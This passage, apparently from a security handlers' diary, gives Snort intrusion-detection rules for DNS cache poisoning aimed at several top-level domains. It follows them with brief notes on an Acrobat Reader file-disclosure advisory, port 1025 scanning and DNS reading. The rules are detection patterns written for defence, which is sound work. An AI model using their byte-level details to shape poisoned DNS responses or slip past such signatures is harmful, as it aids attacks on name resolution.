alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"edu DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|edu|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"gov DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|gov|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"int DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|int|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"mil DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|mil|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"info DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|04|info|00|"; nocase; within:6; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"name DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|04|name|00|"; nocase; within:6; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"pro DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|pro|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
Again, many props to Cody Hatch for the work on this one.
New Adobe Acrobat Reader Vulnerability
NISCC has reported that Acrobat Reader contains a vulnerability which, when executed, could allow an attacker to discover local files. Yes, we know the advisory is a PDF, this isn't an April Fools joke.
Thanx Adrien for the update,
http://www.niscc.gov.uk/niscc/docs/re-20050401-00264.pdf
More Port 1025 activity
We are still seeing TCP 1025 traffic, with a new report submitted today from Michael Cloppert. His report showed a spike from external sources, in excess of 10,000 hosts.
If anybody has captures of TCP 1025 traffic it would greatly help in our analysis.
DNS and the future
Given the current activity with DNS Cache poisoning that we are dealing with, it was suggested by one of the Handlers that this might be some good reading. (It *is* good reading, highly recommend it)
http://www.nap.edu/execsumm_pdf/11258.pdf
0 Comments
0 Comments